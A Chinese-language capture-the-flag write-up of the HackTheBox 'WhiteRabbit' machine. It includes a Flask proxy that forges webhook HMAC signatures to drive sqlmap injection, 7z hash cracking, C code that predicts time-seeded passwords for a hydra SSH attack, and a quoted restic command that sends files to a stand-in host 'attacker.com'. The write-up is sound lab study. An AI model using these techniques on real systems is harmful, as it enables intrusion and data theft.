HTB_WhiteRabbit
linux(Insane)
总结
user
1.子域名扫描+改响应码进入后台页面->可添加页面->FUZZ->未授权访问,子域名泄露
2.webhooks+json文件内容分析->构造端口+构造签名->sqlmap结合flask框架
3.新子域名+restic工具->7z2john爆破
4.bob-shell->restic+restic_server->morpheus-shell
root
逆向分析->还原C代码
改响应码进后台发现新接口、请求构造、sqlmap+flask
另外想知道有没有这样一个目录爆破工具,在递归爆破时,对于子目录的爆破只要爆破出10个,就不用继续爆破,从而爆破下一个主目录呢?因为wfuzz爆破,可能递归爆破会面临新的过滤码,还是尽量不要用wfuzz了,换个专门的目录爆破工具比较好
要么就是先跑第一遍,再根据可能的主目录跑第二遍子目录
有的时候只有一级目录确认不了的,只有一级目录和二级目录一起有效确认才能访问,比如(stxxx/texxx)
sqlmap结合flask服务监听传值爆破+关于sqlmap,同样的命令跑不出来数据的问题,后来发现,可能只是有点慢
import hmac
import hashlib
import json
from flask import Flask, request, jsonify
import requests
app = Flask(__name__)
def makesig(email):
body = {
"campaign_id": 1,
"email": email,
"message": "Clicked Link"
}
body = json.dumps(body, separators=(',', ':'), sort_keys=True)
# 密钥(服务器提供的 secret key)
secret_key = 'xxxx'
# 将密钥和请求体都转换为字节类型
key_bytes = secret_key.encode('utf-8')
message_bytes = body.encode('utf-8')
# 使用 HMAC-SHA256 生成签名
signature = hmac.new(key_bytes, message_bytes, hashlib.sha256).hexdigest()
return "sha256="+signature
# 配置目标地址
TARGET_URL = "http://???.whiterabbit.htb/webhook/d96af3a4???d" # 你要发POST请求的目标地址
@app.route('/test', methods=['GET', 'POST'])
def handle_payload():
q = request.args.get('q')
if not q:
return jsonify({"error": "Missing parameter 'q'"}), 400
try:
# 转发 POST 请求到目标地址,payload是q的值
body={
"campaign_id": 1,
"email": q,
"message": "Clicked Link"
}
body = json.dumps(body, separators=(',', ':'), sort_keys=True)
header={
"x-gophish-signature":makesig(q),
"Content-Type":"application/json"
}
response = requests.post(TARGET_URL, data=body,headers=header)
# 返回目标服务器的响应内容和状态码
return response.text
except Exception as e:
return jsonify({"error": str(e)}), 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
#不知道额外加了个 -f 有没起到作用
sqlmap -u "http://127.0.0.1:5000/test?q=yly" -p q -D temp -T command_log --dump --batch -f
7z文件爆破
7z2john 1.7z >> 1.txt
john --list=formats
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=7z
咦,没爆出来?
后面发现当时导出时可能破坏了原结构
./restic_0.18.0_linux_amd64 dump 272cacd5 /dev/shm/bob/ssh/bob.7z -r rest:http://75951e6ff.whiterabbit.htb >> 1.7z
#改为
#./restic_0.18.0_linux_amd64 dump 272cacd5 /dev/shm/bob/ssh/bob.7z -r rest:http://75951e6ff.whiterabbit.htb | 7z a -si=passwd.txt 1.7z
└─$ ls -la *7z
-rw-rw-r-- 1 kali kali 706 Apr 15 10:08 1.7z #7z的
-rw-rw-r-- 1 kali kali 572 Apr 15 09:31 bob.7z #直接追加的
#但是呢,算法不支持
└─$ 7z2john 1.7z
WARNING: lzma2 compression found within '1.7z' is currently not supported, but could be probably added easily
可能还是导出的问题,最终用
./restic_0.18.0_linux_amd64 restore 272cacd5 -r rest:http://75951e6ff.whiterabbit.htb --target .
7z2john bob.7z >> 1.txt
john -w=~/wordlists/rockyou.txt 1.txt
但其实john就是没爆出来的,后来又能爆出来了。。。。
srand
TZ=UTC date -d '2024-08-30 14:40:42' +%s
#include <stdio.h>
#include <stdlib.h>
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
void generate_password(unsigned int seed, char *out) {
srand(seed);
for (int i = 0; i < 20; ++i) {
out[i] = charset[rand() % 62];
}
out[20] = ' ';
}
int main() {
unsigned int base = 1725028842;// UTC时间戳
#unsigned long long base=1725028842000;//UTC ms级
char password[21];
for (unsigned int offset = 0; offset < 1000; ++offset) {
unsigned int seed = base + offset;
generate_password(seed, password);
printf("%sn",password);
}
return 0;
}
gcc -o t1 3.c
hydra -l neo -P pass.txt ssh://10.10.xxx
但是似乎没结果,后来发现,因为是精确到秒的时间,需要枚举1s内的,也就是毫秒级操作,那么先判断一开始给的时间戳是s,还是ms单位,需要统一下
参考
wp
https://4xura.com/ctf/htb/htb-writeup-whiterabbit/
其它
https://www.opencve.io/cve?vendor=uptime.kuma
https://security.snyk.io/vuln/SNYK-JS-UPTIMEKUMA-8548001
https://github.com/louislam/uptime-kuma/security/advisories/GHSA-2qgm-m29m-cj2h
https://github.com/louislam/uptime-kuma
https://github.com/restic/restic/releases/download/v0.18.0/restic_0.18.0_linux_amd64.bz2
一个用于安全备份的工具
bunzip2 restic_0.18.0_linux_amd64.bz2
#查看并导出文件
...snapshots...
...ls snapshots_ID...
...dump snapshots_ID file...
https://gtfobins.github.io/gtfobins/restic/
RHOST=attacker.com
RPORT=12345
LFILE=file_or_dir_to_get
NAME=backup_name
restic backup -r "rest:http://$RHOST:$RPORT/$NAME" "$LFILE"
https://github.com/restic/rest-server/releases/download/v0.13.0/rest-server_0.13.0_linux_amd64.tar.gz
└─$ ./rest-server --path ./test --listen :7375 --no-auth --debug
Data directory: ./test
Authentication disabled
Private repositories disabled
start server on [::]:7375
HEAD /test/config
checkConfig()
stat test/test/config: no such file or directory
#需要先初始化
└─$ ./restic_0.18.0_linux_amd64 init -r /tmp/yly
enter password for new repository:
enter password again:
created restic repository 077ae726b6 at /tmp/yly
└─$ tree /tmp/yly
/tmp/yly
├── config
├── data
│ ├── 00
...
原文始发于微信公众号(羽泪云小栈):HTB_WhiteRabbit
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论